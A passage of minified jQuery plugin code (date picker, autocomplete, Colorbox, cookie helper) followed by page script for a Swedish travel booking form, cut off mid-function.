td.current-month",this.context).each(function(){var i=d(this);if(Number(i.text())<h){i.addClass("disabled")}})}else{d(".dp-nav-prev-year",this.context).removeClass("disabled");d(".dp-nav-prev-month",this.context).removeClass("disabled");var h=this.startDate.getDate();if(h>20){var f=this.startDate.getTime();var g=new Date(f);g.addMonths(1);if(this.displayedYear==g.getFullYear()&&this.displayedMonth==g.getMonth()){d(".dp-calendar td.other-month",this.context).each(function(){var i=d(this);if(Date.fromString(i.data("datePickerDate")).getTime()<f){i.addClass("disabled")}})}}}if(this.displayedYear==this.endDate.getFullYear()&&this.displayedMonth==this.endDate.getMonth()){d(".dp-nav-next-year",this.context).addClass("disabled");d(".dp-nav-next-month",this.context).addClass("disabled");d(".dp-calendar td.other-month",this.context).each(function(){var i=d(this);if(Number(i.text())<14){i.addClass("disabled")}});var h=this.endDate.getDate();d(".dp-calendar td.current-month",this.context).each(function(){var i=d(this);if(Number(i.text())>h){i.addClass("disabled")}})}else{d(".dp-nav-next-year",this.context).removeClass("disabled");d(".dp-nav-next-month",this.context).removeClass("disabled");var h=this.endDate.getDate();if(h<13){var e=new Date(this.endDate.getTime());e.addMonths(-1);if(this.displayedYear==e.getFullYear()&&this.displayedMonth==e.getMonth()){d(".dp-calendar td.other-month",this.context).each(function(){var j=d(this);var i=Number(j.text());if(i<13&&i>h){j.addClass("disabled")}})}}}this._applyRenderCallbacks()},_closeCalendar:function(e,f){if(!f||f==this.ele){d(document).unbind("mousedown.datepicker");d(document).unbind("keydown.datepicker");this._clearCalendar();d("#dp-popup a").unbind();d("#dp-popup").empty().remove();if(!e){d(this.ele).trigger("dpClosed",[this.getSelected()])}}},_clearCalendar:function(){d(".dp-calendar td",this.context).unbind();d(".dp-calendar",this.context).empty()}});d.dpConst={SHOW_HEADER_NONE:0,SHOW_HEADER_SHORT:1,SHOW_HEADER_LONG:2,POS_TOP:0,POS_BOTTOM:1,POS_LEFT:0,POS_RIGHT:1,DP_INTERNAL_FOCUS:"dpInternalFocusTrigger"};d.dpText={TEXT_PREV_YEAR:"Föreg. år",TEXT_PREV_MONTH:"Föreg. månad",TEXT_NEXT_YEAR:"Nästa år",TEXT_NEXT_MONTH:"Nästa månad",TEXT_CLOSE:"Stäng",TEXT_CHOOSE_DATE:"Välj datum",HEADER_FORMAT:"mmmm yyyy"};d.dpVersion="$Id: jquery.datePicker.js 98 2010-05-24 10:10:01Z kelvin.luck $";d.fn.datePicker.defaults={month:undefined,year:undefined,showHeader:d.dpConst.SHOW_HEADER_SHORT,startDate:undefined,endDate:undefined,inline:false,renderCallback:null,createButton:true,showYearNavigation:true,closeOnSelect:true,displayClose:false,selectMultiple:false,numSelectable:Number.MAX_VALUE,clickInput:false,rememberViewedMonth:true,selectWeek:false,verticalPosition:d.dpConst.POS_TOP,horizontalPosition:d.dpConst.POS_LEFT,verticalOffset:0,horizontalOffset:0,hoverClass:"dp-hover"};function c(e){if(e._dpId){return d.event._dpCache[e._dpId]}return false}if(d.fn.bgIframe==undefined){d.fn.bgIframe=function(){return this}}d(window).bind("unload",function(){var f=d.event._dpCache||[];for(var e in f){d(f[e].ele)._dpDestroy()}})})(jQuery);

//Auto Complete
(function(a){var c=true,b=false,i="unautocomplete",h="setOptions",g="flushCache",f="result",d=null,e="string";a.fn.extend({autocomplete:function(c,b){var f=typeof c==e;b=a.extend({},a.Autocompleter.defaults,{url:f?c:d,data:f?d:c,delay:f?a.Autocompleter.defaults.delay:10,max:b&&!b.scroll?10:150},b);b.highlight=b.highlight||function(a){return a};b.formatMatch=b.formatMatch||b.formatItem;return this.each(function(){new a.Autocompleter(this,b)})},result:function(a){return this.bind(f,a)},search:function(a){return this.trigger("search",[a])},flushCache:function(){return this.trigger(g)},setOptions:function(a){return this.trigger(h,[a])},unautocomplete:function(){return this.trigger(i)}});a.Autocompleter=function(n,j){var o="function",s=".autocomplete",r="autocomplete",m={UP:38,DOWN:40,DEL:46,TAB:9,RETURN:13,ESC:27,COMMA:188,PAGEUP:33,PAGEDOWN:34,BACKSPACE:8},l=a(n).attr(r,"off").addClass(j.inputClass),t,p="",y=a.Autocompleter.Cache(j),w=0,z,E={mouseDownOnSelect:b},k=a.Autocompleter.Select(j,n,C,E),A;a.browser.opera&&a(n.form).bind("submit.autocomplete",function(){if(A){A=b;return b}});l.bind((a.browser.opera?"keypress":"keydown")+s,function(d){z=d.keyCode;switch(d.keyCode){case m.UP:d.preventDefault();if(k.visible())k.prev();else q(0,c);break;case m.DOWN:d.preventDefault();if(k.visible())k.next();else q(0,c);break;case m.PAGEUP:d.preventDefault();if(k.visible())k.pageUp();else q(0,c);break;case m.PAGEDOWN:d.preventDefault();if(k.visible())k.pageDown();else q(0,c);break;case j.multiple&&a.trim(j.multipleSeparator)==","&&m.COMMA:case m.TAB:case m.RETURN:if(C()){d.preventDefault();A=c;return b}break;case m.ESC:k.hide();break;default:clearTimeout(t);t=setTimeout(q,j.delay)}}).focus(function(){w++}).blur(function(){w=0;!E.mouseDownOnSelect&&F()}).click(function(){w++>1&&!k.visible()&&q(0,c)}).bind("search",function(){var c=arguments.length>1?arguments[1]:d;function b(e,b){var a;if(b&&b.length)for(var d=0;d<b.length;d++)if(b[d].result.toLowerCase()==e.toLowerCase()){a=b[d];break}if(typeof c==o)c(a);else l.trigger(f,a&&[a.data,a.value])}a.each(v(l.val()),function(c,a){D(a,b,b)})}).bind(g,function(){y.flush()}).bind(h,function(){a.extend(j,arguments[1]);"data"in arguments[1]&&y.populate()}).bind(i,function(){k.unbind();l.unbind();a(n.form).unbind(s)});function C(){var d=k.selected();if(!d)return b;var a=d.result;p=a;if(j.multiple){var e=v(l.val());if(e.length>1)a=e.slice(0,e.length-1).join(j.multipleSeparator)+j.multipleSeparator+a;a+=j.multipleSeparator}l.val(a);u();l.trigger(f,[d.data,d.value]);return c}function q(c,b){if(z==m.DEL){k.hide();return}var a=l.val();if(!b&&a==p)return;p=a;a=x(a);if(a.length>=j.minChars){l.addClass(j.loadingClass);if(!j.matchCase)a=a.toLowerCase();D(a,G,u)}else{B();k.hide()}}function v(c){if(!c)return[""];var d=c.split(j.multipleSeparator),b=[];a.each(d,function(d,c){if(a.trim(c))b[d]=a.trim(c)});return b}function x(a){if(!j.multiple)return a;var b=v(a);return b[b.length-1]}function H(c,b){if(j.autoFill&&x(l.val()).toLowerCase()==c.toLowerCase()&&z!=m.BACKSPACE){l.val(l.val()+b.substring(x(p).length));a.Autocompleter.Selection(n,p.length,p.length+b.length)}}function F(){clearTimeout(t);t=setTimeout(u,200)}function u(){var b=k.visible();k.hide();clearTimeout(t);B();j.mustMatch&&l.search(function(b){if(!b)if(j.multiple){var a=v(l.val()).slice(0,-1);l.val(a.join(j.multipleSeparator)+(a.length?j.multipleSeparator:""))}else l.val("")});b&&a.Autocompleter.Selection(n,n.value.length,n.value.length)}function G(b,a){if(a&&a.length&&w){B();k.display(a,b);H(b,a[0].value);k.show()}else u()}function D(b,f,g){if(!j.matchCase)b=b.toLowerCase();var c=y.load(b);if(c&&c.length)f(b,c);else if(typeof j.url==e&&j.url.length>0){var d={timestamp:+new Date};a.each(j.extraParams,function(b,a){d[b]=typeof a==o?a():a});a.ajax({mode:"abort",port:r+n.name,dataType:j.dataType,url:j.url,data:a.extend({q:x(b),limit:j.max},d),success:function(c){var a=j.parse&&j.parse(c)||I(c);y.add(b,a);f(b,a)}})}else{k.emptyList();g(b)}}function I(f){for(var c=[],e=f.split("\n"),d=0;d<e.length;d++){var b=a.trim(e[d]);if(b){b=b.split("|");c[c.length]={data:b,value:b[0],result:j.formatResult&&j.formatResult(b,b[0])||b[0]}}}return c}function B(){l.removeClass(j.loadingClass)}};a.Autocompleter.defaults={inputClass:"ac_input",resultsClass:"ac_results",loadingClass:"ac_loading",minChars:1,delay:400,matchCase:b,matchSubset:c,matchContains:b,cacheLength:10,max:100,mustMatch:b,extraParams:{},selectFirst:c,formatItem:function(a){return a[0]},formatMatch:d,autoFill:b,width:0,multiple:b,multipleSeparator:", ",highlight:function(a,b){return a.replace(new RegExp("(?![^&;]+;)(?!<[^<>]*)("+b.replace(/([\^\$\(\)\[\]\{\}\*\.\+\?\|\\])/gi,"\\$1")+")(?![^<>]*>)(?![^&;]+;)","gi"),"<strong>$1</strong>")},scroll:c,scrollHeight:180};a.Autocompleter.Cache=function(c){var f={},g=0;function h(a,e){if(!c.matchCase)a=a.toLowerCase();var d=a.indexOf(e);if(c.matchContains=="word")d=a.toLowerCase().search("\\b"+e.toLowerCase());return d==-1?b:d==0||c.matchContains}function k(a,b){g>c.cacheLength&&j();if(!f[a])g++;f[a]=b}function i(){if(!c.data)return b;var f={},l=0;if(!c.url)c.cacheLength=1;f[""]=[];for(var h=0,m=c.data.length;h<m;h++){var d=c.data[h];d=typeof d==e?[d]:d;var g=c.formatMatch(d,h+1,c.data.length);if(g===b)continue;var i=g.charAt(0).toLowerCase();if(!f[i])f[i]=[];var j={value:g,data:d,result:c.formatResult&&c.formatResult(d)||g};f[i].push(j);l++<c.max&&f[""].push(j)}a.each(f,function(b,a){c.cacheLength++;k(b,a)})}setTimeout(i,25);function j(){f={};g=0}return{flush:j,add:k,populate:i,load:function(b){if(!c.cacheLength||!g)return d;if(!c.url&&c.matchContains){var e=[];for(var k in f)if(k.length>0){var i=f[k];a.each(i,function(c,a){h(a.value,b)&&e.push(a)})}return e}else if(f[b])return f[b];else if(c.matchSubset)for(var j=b.length-1;j>=c.minChars;j--){var i=f[b.substr(0,j)];if(i){var e=[];a.each(i,function(c,a){if(h(a.value,b))e[e.length]=a});return e}}return d}}};a.Autocompleter.Select=function(g,n,u,q){var i={ACTIVE:"ac_over"},d,f=-1,l,o="",p=c,j,h;function v(){if(!p)return;j=a("<div/>").hide().addClass(g.resultsClass).css("position","absolute").appendTo(document.body);h=a("<ul/>").appendTo(j).mouseover(function(b){if(m(b).nodeName&&m(b).nodeName.toUpperCase()=="LI"){f=a("li",h).removeClass(i.ACTIVE).index(m(b));a(m(b)).addClass(i.ACTIVE)}}).click(function(c){a(m(c)).addClass(i.ACTIVE);u();n.focus();return b}).mousedown(function(){q.mouseDownOnSelect=c}).mouseup(function(){q.mouseDownOnSelect=b});g.width>0&&j.css("width",g.width);p=b}function m(b){var a=b.target;while(a&&a.tagName!="LI")a=a.parentNode;return!a?[]:a}function k(c){d.slice(f,f+1).removeClass(i.ACTIVE);s(c);var b=d.slice(f,f+1).addClass(i.ACTIVE);if(g.scroll){var a=0;d.slice(0,f).each(function(){a+=this.offsetHeight});if(a+b[0].offsetHeight-h.scrollTop()>h[0].clientHeight)h.scrollTop(a+b[0].offsetHeight-h.innerHeight());else a<h.scrollTop()&&h.scrollTop(a)}}function s(a){f+=a;if(f<0)f=d.size()-1;else if(f>=d.size())f=0}function r(a){return g.max&&g.max<a?g.max:a}function t(){h.empty();for(var j=r(l.length),c=0;c<j;c++){if(!l[c])continue;var e=g.formatItem(l[c].data,c+1,j,l[c].value,o);if(e===b)continue;var k=a("<li/>").html(g.highlight(e,o)).addClass(c%2==0?"ac_even":"ac_odd").appendTo(h)[0];a.data(k,"ac_data",l[c])}d=h.find("li");if(g.selectFirst){d.slice(0,1).addClass(i.ACTIVE);f=0}a.fn.bgiframe&&h.bgiframe()}return{display:function(a,b){v();l=a;o=b;t()},next:function(){k(1)},prev:function(){k(-1)},pageUp:function(){if(f!=0&&f-8<0)k(-f);else k(-8)},pageDown:function(){if(f!=d.size()-1&&f+8>d.size())k(d.size()-1-f);else k(8)},hide:function(){j&&j.hide();d&&d.removeClass(i.ACTIVE);f=-1},visible:function(){return j&&j.is(":visible")},current:function(){return this.visible()&&(d.filter("."+i.ACTIVE)[0]||g.selectFirst&&d[0])},show:function(){var f=a(n).offset();j.css({width:typeof g.width==e||g.width>0?g.width:a(n).width(),top:f.top+n.offsetHeight,left:f.left}).show();if(g.scroll){h.scrollTop(0);h.css({maxHeight:g.scrollHeight,overflow:"auto"});if(a.browser.msie&&typeof document.body.style.maxHeight==="undefined"){var b=0;d.each(function(){b+=this.offsetHeight});var c=b>g.scrollHeight;h.css("height",c?g.scrollHeight:b);!c&&d.width(h.width()-parseInt(d.css("padding-left"))-parseInt(d.css("padding-right")))}}},selected:function(){var b=d&&d.filter("."+i.ACTIVE).removeClass(i.ACTIVE);return b&&b.length&&a.data(b[0],"ac_data")},emptyList:function(){h&&h.empty()},unbind:function(){j&&j.remove()}}};a.Autocompleter.Selection=function(a,e,f){var b="character";if(a.createTextRange){var d=a.createTextRange();d.collapse(c);d.moveStart(b,e);d.moveEnd(b,f);d.select()}else if(a.setSelectionRange)a.setSelectionRange(e,f);else if(a.selectionStart){a.selectionStart=e;a.selectionEnd=f}a.focus()}})(jQuery);

//Color
(function(d){d.each(["backgroundColor","borderBottomColor","borderLeftColor","borderRightColor","borderTopColor","color","outlineColor"],function(f,e){d.fx.step[e]=function(g){if(!g.colorInit){g.start=c(g.elem,e);g.end=b(g.end);g.colorInit=true}g.elem.style[e]="rgb("+[Math.max(Math.min(parseInt((g.pos*(g.end[0]-g.start[0]))+g.start[0]),255),0),Math.max(Math.min(parseInt((g.pos*(g.end[1]-g.start[1]))+g.start[1]),255),0),Math.max(Math.min(parseInt((g.pos*(g.end[2]-g.start[2]))+g.start[2]),255),0)].join(",")+")"}});function b(f){var e;if(f&&f.constructor==Array&&f.length==3){return f}if(e=/rgb\(\s*([0-9]{1,3})\s*,\s*([0-9]{1,3})\s*,\s*([0-9]{1,3})\s*\)/.exec(f)){return[parseInt(e[1]),parseInt(e[2]),parseInt(e[3])]}if(e=/rgb\(\s*([0-9]+(?:\.[0-9]+)?)\%\s*,\s*([0-9]+(?:\.[0-9]+)?)\%\s*,\s*([0-9]+(?:\.[0-9]+)?)\%\s*\)/.exec(f)){return[parseFloat(e[1])*2.55,parseFloat(e[2])*2.55,parseFloat(e[3])*2.55]}if(e=/#([a-fA-F0-9]{2})([a-fA-F0-9]{2})([a-fA-F0-9]{2})/.exec(f)){return[parseInt(e[1],16),parseInt(e[2],16),parseInt(e[3],16)]}if(e=/#([a-fA-F0-9])([a-fA-F0-9])([a-fA-F0-9])/.exec(f)){return[parseInt(e[1]+e[1],16),parseInt(e[2]+e[2],16),parseInt(e[3]+e[3],16)]}if(e=/rgba\(0, 0, 0, 0\)/.exec(f)){return a.transparent}return a[d.trim(f).toLowerCase()]}function c(g,e){var f;do{f=d.curCSS(g,e);if(f!=""&&f!="transparent"||d.nodeName(g,"body")){break}e="backgroundColor"}while(g=g.parentNode);return b(f)}var a={aqua:[0,255,255],azure:[240,255,255],beige:[245,245,220],black:[0,0,0],blue:[0,0,255],brown:[165,42,42],cyan:[0,255,255],darkblue:[0,0,139],darkcyan:[0,139,139],darkgrey:[169,169,169],darkgreen:[0,100,0],darkkhaki:[189,183,107],darkmagenta:[139,0,139],darkolivegreen:[85,107,47],darkorange:[255,140,0],darkorchid:[153,50,204],darkred:[139,0,0],darksalmon:[233,150,122],darkviolet:[148,0,211],fuchsia:[255,0,255],gold:[255,215,0],green:[0,128,0],indigo:[75,0,130],khaki:[240,230,140],lightblue:[173,216,230],lightcyan:[224,255,255],lightgreen:[144,238,144],lightgrey:[211,211,211],lightpink:[255,182,193],lightyellow:[255,255,224],lime:[0,255,0],magenta:[255,0,255],maroon:[128,0,0],navy:[0,0,128],olive:[128,128,0],orange:[255,165,0],pink:[255,192,203],purple:[128,0,128],violet:[128,0,128],red:[255,0,0],silver:[192,192,192],white:[255,255,255],yellow:[255,255,0],transparent:[255,255,255]}})(jQuery);

//Colorbox
(function(c,kb){var u="none",N="LoadedContent",b=false,w="resize.",o="y",q="auto",f=true,M="nofollow",t="on",m="x";function e(a,b){a=a?' id="'+j+a+'"':"";b=b?' style="'+b+'"':"";return c("<div"+a+b+"/>")}function p(a,b){b=b===m?n.width():n.height();return typeof a==="string"?Math.round(/%/.test(a)?b/100*parseInt(a,10):parseInt(a,10)):a}function T(b,d){b=c.isFunction(b)?b.call(d):b;return a.photo||/\.(gif|png|jpg|jpeg|bmp)(?:\?([^#]*))?(?:#(\.*))?$/i.test(b)}function db(a){for(var b in a)if(c.isFunction(a[b])&&b.substring(0,2)!==t)a[b]=a[b].call(l);a.rel=a.rel||l.rel||M;a.href=a.href||c(l).attr("href");a.title=a.title||l.title;return a}function x(b,a){a&&a.call(l);c.event.trigger(b)}function lb(){var c,b=j+"Slideshow_",e="click."+j,f,k;if(a.slideshow&&h[1]){f=function(){F.text(a.slideshowStop).unbind(e).bind(U,function(){if(g<h.length-1||a.loop)c=setTimeout(d.next,a.slideshowSpeed)}).bind(V,function(){clearTimeout(c)}).one(e,k);i.removeClass(b+"off").addClass(b+t);c=setTimeout(d.next,a.slideshowSpeed)};k=function(){clearTimeout(c);F.text(a.slideshowStart).unbind(U+" "+V+" "+e).one(e,f);i.removeClass(b+t).addClass(b+"off")};F.bind(eb,function(){clearTimeout(c)});i.hasClass(b+t)||a.slideshowAuto&&!i.hasClass(b+"off")?f():k()}}function fb(b){if(!O){l=b;a=db(c.extend({},c.data(l,r)));h=c(l);g=0;if(a.rel!==M){h=c("."+H).filter(function(){return (c.data(this,r).rel||this.rel)===a.rel});g=h.index(l);if(g===-1){h=h.add(l);g=h.length-1}}if(!v){v=G=f;i.show();W=l;try{W.blur()}catch(e){}y.css({opacity:+a.opacity,cursor:a.overlayClose?"pointer":q}).show();a.w=p(a.initialWidth,m);a.h=p(a.initialHeight,o);d.position(0);X&&n.bind(w+P+" scroll."+P,function(){y.css({width:n.width(),height:n.height(),top:n.scrollTop(),left:n.scrollLeft()})}).trigger("scroll."+P);x(gb,a.onOpen);Y.add(I).add(J).add(F).add(Z).hide();ab.html(a.close).show()}d.load(f)}}var hb={transition:"elastic",speed:300,width:b,initialWidth:"600",innerWidth:b,maxWidth:b,height:b,initialHeight:"450",innerHeight:b,maxHeight:b,scalePhotos:f,scrolling:f,inline:b,html:b,iframe:b,photo:b,href:b,title:b,rel:b,opacity:.9,preloading:f,current:"image {current} of {total}",previous:"previous",next:"next",close:"close",open:b,loop:f,slideshow:b,slideshowAuto:f,slideshowSpeed:2500,slideshowStart:"start slideshow",slideshowStop:"stop slideshow",onOpen:b,onLoad:b,onComplete:b,onCleanup:b,onClosed:b,overlayClose:f,escKey:f,arrowKey:f},r="colorbox",j="cbox",gb=j+"_open",V=j+"_load",U=j+"_complete",ib=j+"_cleanup",eb=j+"_closed",Q=j+"_purge",jb=j+"_loaded",B=c.browser.msie&&!c.support.opacity,X=B&&c.browser.version<7,P=j+"_IE6",y,i,C,s,bb,cb,S,R,h,n,k,K,L,Z,Y,F,J,I,ab,D,E,z,A,l,W,g,a,v,G,O=b,d,H=j+"Element";d=c.fn[r]=c[r]=function(b,e){var a=this,d;if(!a[0]&&a.selector)return a;b=b||{};if(e)b.onComplete=e;if(!a[0]||a.selector===undefined){a=c("<a/>");b.open=f}a.each(function(){c.data(this,r,c.extend({},c.data(this,r)||hb,b));c(this).addClass(H)});d=b.open;if(c.isFunction(d))d=d.call(a);d&&fb(a[0]);return a};d.init=function(){var l="hover",m="clear:left";n=c(kb);i=e().attr({id:r,"class":B?j+"IE":""});y=e("Overlay",X?"position:absolute":"").hide();C=e("Wrapper");s=e("Content").append(k=e(N,"width:0; height:0; overflow:hidden"),L=e("LoadingOverlay").add(e("LoadingGraphic")),Z=e("Title"),Y=e("Current"),J=e("Next"),I=e("Previous"),F=e("Slideshow").bind(gb,lb),ab=e("Close"));C.append(e().append(e("TopLeft"),bb=e("TopCenter"),e("TopRight")),e(b,m).append(cb=e("MiddleLeft"),s,S=e("MiddleRight")),e(b,m).append(e("BottomLeft"),R=e("BottomCenter"),e("BottomRight"))).children().children().css({"float":"left"});K=e(b,"position:absolute; width:9999px; visibility:hidden; display:none");c("body").prepend(y,i.append(C,K));s.children().hover(function(){c(this).addClass(l)},function(){c(this).removeClass(l)}).addClass(l);D=bb.height()+R.height()+s.outerHeight(f)-s.height();E=cb.width()+S.width()+s.outerWidth(f)-s.width();z=k.outerHeight(f);A=k.outerWidth(f);i.css({"padding-bottom":D,"padding-right":E}).hide();J.click(d.next);I.click(d.prev);ab.click(d.close);s.children().removeClass(l);c("."+H).live("click",function(a){if(!(a.button!==0&&typeof a.button!=="undefined"||a.ctrlKey||a.shiftKey||a.altKey)){a.preventDefault();fb(this)}});y.click(function(){a.overlayClose&&d.close()});c(document).bind("keydown",function(b){if(v&&a.escKey&&b.keyCode===27){b.preventDefault();d.close()}if(v&&a.arrowKey&&!G&&h[1])if(b.keyCode===37&&(g||a.loop)){b.preventDefault();I.click()}else if(b.keyCode===39&&(g<h.length-1||a.loop)){b.preventDefault();J.click()}})};d.remove=function(){i.add(y).remove();c("."+H).die("click").removeData(r).removeClass(H)};d.position=function(f,c){function d(a){bb[0].style.width=R[0].style.width=s[0].style.width=a.style.width;L[0].style.height=L[1].style.height=s[0].style.height=cb[0].style.height=S[0].style.height=a.style.height}var e,h=Math.max(document.documentElement.clientHeight-a.h-z-D,0)/2+n.scrollTop(),g=Math.max(n.width()-a.w-A-E,0)/2+n.scrollLeft();e=i.width()===a.w+A&&i.height()===a.h+z?0:f;C[0].style.width=C[0].style.height="9999px";i.dequeue().animate({width:a.w+A,height:a.h+z,top:h,left:g},{duration:e,complete:function(){d(this);G=b;C[0].style.width=a.w+A+E+"px";C[0].style.height=a.h+z+D+"px";c&&c()},step:function(){d(this)}})};d.resize=function(b){if(v){b=b||{};if(b.width)a.w=p(b.width,m)-A-E;if(b.innerWidth)a.w=p(b.innerWidth,m);k.css({width:a.w});if(b.height)a.h=p(b.height,o)-z-D;if(b.innerHeight)a.h=p(b.innerHeight,o);if(!b.innerHeight&&!b.height){b=k.wrapInner("<div style='overflow:auto'></div>").children();a.h=b.height();b.replaceWith(b.children())}k.css({height:a.h});d.position(a.transition===u?0:a.speed)}};d.prep=function(o){var f="hidden";function m(t){var m,q,f,o,e=h.length,s=a.loop;d.position(t,function(){if(v){B&&p&&k.fadeIn(100);k.show();x(jb);Z.show().html(a.title);if(e>1){Y.html(a.current.replace(/\{current\}/,g+1).replace(/\{total\}/,e)).show();J[s||g<e-1?"show":"hide"]().html(a.next);I[s||g?"show":"hide"]().html(a.previous);m=g?h[g-1]:h[e-1];f=g<e-1?h[g+1]:h[0];a.slideshow&&F.show();if(a.preloading){o=c.data(f,r).href||f.href;q=c.data(m,r).href||m.href;if(T(o,f))c("<img/>")[0].src=o;if(T(q,m))c("<img/>")[0].src=q}}L.hide();if(a.transition==="fade")i.fadeTo(l,1,function(){if(B)i[0].style.filter=b});else if(B)i[0].style.filter=b;n.bind(w+j,function(){d.position(0)});x(U,a.onComplete)}})}if(v){var p,l=a.transition===u?0:a.speed;n.unbind(w+j);k.remove();k=e(N).html(o);k.hide().appendTo(K.show()).css({width:function(){a.w=a.w||k.width();a.w=a.mw&&a.mw<a.w?a.mw:a.w;return a.w}(),overflow:a.scrolling?q:f}).css({height:function(){a.h=a.h||k.height();a.h=a.mh&&a.mh<a.h?a.mh:a.h;return a.h}()}).prependTo(s);K.hide();c("#"+j+"Photo").css({cssFloat:u,marginLeft:q,marginRight:q});X&&c("select").not(i.find("select")).filter(function(){return this.style.visibility!==f}).css({visibility:f}).one(ib,function(){this.style.visibility="inherit"});a.transition==="fade"?i.fadeTo(l,0,function(){m(0)}):m(l)}};d.load=function(t){var n,b,s,q=d.prep;G=f;l=h[g];t||(a=db(c.extend({},c.data(l,r))));x(Q);x(V,a.onLoad);a.h=a.height?p(a.height,o)-z-D:a.innerHeight&&p(a.innerHeight,o);a.w=a.width?p(a.width,m)-A-E:a.innerWidth&&p(a.innerWidth,m);a.mw=a.w;a.mh=a.h;if(a.maxWidth){a.mw=p(a.maxWidth,m)-A-E;a.mw=a.w&&a.w<a.mw?a.w:a.mw}if(a.maxHeight){a.mh=p(a.maxHeight,o)-z-D;a.mh=a.h&&a.h<a.mh?a.h:a.mh}n=a.href;L.show();if(a.inline){e().hide().insertBefore(c(n)[0]).one(Q,function(){c(this).replaceWith(k.children())});q(c(n))}else if(a.iframe){i.one(jb,function(){var b=c("<iframe name='"+(new Date).getTime()+"' frameborder=0"+(a.scrolling?"":" scrolling='no'")+(B?" allowtransparency='true'":"")+" style='width:100%; height:100%; border:0; display:block;'/>");b[0].src=a.href;b.appendTo(k).one(Q,function(){b[0].src="about:blank"})});q(" ")}else if(a.html)q(a.html);else if(T(n,l)){b=new Image;b.onload=function(){var e;b.onload=null;b.id=j+"Photo";c(b).css({border:u,display:"block",cssFloat:"left"});if(a.scalePhotos){s=function(){b.height-=b.height*e;b.width-=b.width*e};if(a.mw&&b.width>a.mw){e=(b.width-a.mw)/b.width;s()}if(a.mh&&b.height>a.mh){e=(b.height-a.mh)/b.height;s()}}if(a.h)b.style.marginTop=Math.max(a.h-b.height,0)/2+"px";h[1]&&(g<h.length-1||a.loop)&&c(b).css({cursor:"pointer"}).click(d.next);if(B)b.style.msInterpolationMode="bicubic";setTimeout(function(){q(b)},1)};setTimeout(function(){b.src=n},1)}else e().appendTo(K).load(n,function(c,b,a){q(b==="error"?"Request unsuccessful: "+a.statusText:this)})};d.next=function(){if(!G){g=g<h.length-1?g+1:0;d.load()}};d.prev=function(){if(!G){g=g?g-1:h.length-1;d.load()}};d.close=function(){if(v&&!O){O=f;v=b;x(ib,a.onCleanup);n.unbind("."+j+" ."+P);y.fadeTo("fast",0);i.stop().fadeTo("fast",0,function(){x(Q);k.remove();i.add(y).css({opacity:1,cursor:q}).hide();try{W.focus()}catch(c){}setTimeout(function(){O=b;x(eb,a.onClosed)},1)})}};d.element=function(){return c(l)};d.settings=hb;c(d.init)})(jQuery,this)


//jQ Cookie Plugin
jQuery.cookie=function(d,b,a){if(arguments.length>1&&String(b)!=="[object Object]"){a=jQuery.extend({},a);if(b===null||b===undefined)a.expires=-1;if(typeof a.expires==="number"){var g=a.expires,e=a.expires=new Date;e.setDate(e.getDate()+g)}b=String(b);return document.cookie=[encodeURIComponent(d),"=",a.raw?b:encodeURIComponent(b),a.expires?"; expires="+a.expires.toUTCString():"",a.path?"; path="+a.path:"",a.domain?"; domain="+a.domain:"",a.secure?"; secure":""].join("")}a=b||{};var c,f=a.raw?function(a){return a}:decodeURIComponent;return(c=new RegExp("(?:^|; )"+encodeURIComponent(d)+"=([^;]*)").exec(document.cookie))?f(c[1]):null};


// DOM READY
$(document).ready(function() {

	//easing
	$.easing.easeOutExpo = function (x, t, b, c, d)
	{ return (t==d) ? b+c : c * (-Math.pow(2, -10 * t/d) + 1) + b; }

	//Menu
	var menulinks = $('#menu li:not(.on) a')

	menulinks.hover(function(){
		$(this).stop().animate({'backgroundColor':menubg,'color':'#fff'}, 250);
		}, function(){
		$(this).stop().animate({'backgroundColor':'#262626','color':'#666'}, 500);
	});

	//Fix Google Blogsearch Lockup
	$('#r').find('div.p2 a').each(function(){
		var thiz = $(this)
		var pTitle = thiz.attr('title')
		thiz.parent().parent().wrap('<li>')
		thiz.parent().parent().wrap('<a href="'+pTitle+'" target="_blank">')
	});
	
	// ** BEGIN BOOK FORM STUFF ** ----------------------------------------------------- //
	
	var bf = $('#book')
	bf.find('input:not(input.date)').ClearInput();

	//Submit
	var bsubmit = bf.find('#bsubmit')
	bsubmit.click(function(){ $('#flyg-hotell').submit(); return false; })

	//Auto Completer
	var ainput = bf.find('input.airp')
	ainput.autocomplete(blogurl, { //sätts i header.php via php!
		minChars: 3,
		width: 300,
		scrollHeight:200,
		matchWord: false,
		max: 40, //max som ska visas
		delay:250,
		formatItem: function(data) {
			return data[0]
		},
		formatResult: function(data) {
			return data[0]
		}
	});

	$.fn.selectRange = function(start, end) { //move cursor to beginning (for IE)
        return this.each(function() {
                if(this.setSelectionRange) {
                        this.focus();
                        this.setSelectionRange(start, end);
                } else if(this.createTextRange) {
                        var range = this.createTextRange();
                        range.collapse(true);
                        range.moveEnd('character', end);
						$(this).select()
                        range.moveStart('character', start);
                        range.select();
                }
	}); };

	ainput.result(function(event, data, formatted) {
			if (data)
			var dataFilter = data[1].replace(/[0-9]/gi,'')
			$(this).nextAll('input:first').val(dataFilter);
			var airvalue = $(this).attr('value');
			$(this).attr('title',airvalue)
			$(this).selectRange(0,0);
	});

	//Cross Browser focus/blur
	var right1 = $('#r').find('input')
	right1.focus(function() { $(this).addClass('input_on'); })
	right1.blur(function() { $(this).removeClass('input_on'); })
	
	var idates = bf.find('input.date')
	idates.click(function(){ $(this).focus(); })
 
	$('table.jCalendar').live('click',function(){ $('#dp-popup').hide(300); })
	idates.datePicker({createButton:false}).bind('focus', function() { $(this).dpDisplay(); }).bind('blur', function(event) { var el = event.explicitOriginalTarget; if (el == document) { $(this).dpClose(); return true; } else { el = $(el).parent()[0]; }});

	var enkel = bf.find('#enkel input')
	var date2 = bf.find('#date2')
	var date1 = bf.find('#date1 input')
	enkel.focus(function() { date2.parent().fadeTo(500,0.3); date2.attr('value',''); })
	date1.focus(function() { date2.parent().fadeTo(150,0).fadeTo(150,1); date2.attr('value','Nytt datum?') })

	//Bookform barnPopup
	barnVarning = 'Endast nummer är tillåtna'; //Swedish lang
	barnEdit = '<a id="theAges" href="#" onclick="$(\'#bp\').fadeIn(500);this.blur();return false;" title="Redigera barnens åldrar">Redigera</a>'; //Swedish lang
	btxt = '<p>Barnens åldrar?</p>'; //Swedish lang
	blink = '<a href="#" onclick="$(this).parent().hide(500);this.blur();return false;">Göm denna ruta</a>'; //Swedish lang
	var bp = $('#bp')
	var iBarn = bf.find("input.barn")

	iBarn.keyup(function(){ bp.fadeIn(250); if (this.value === '0') { $('#bp').fadeOut(250); } });
	bp.find("a").click(function(){ bp.fadeToggle(700); return false; this.blur(); });

	iBarn.blur(function() {
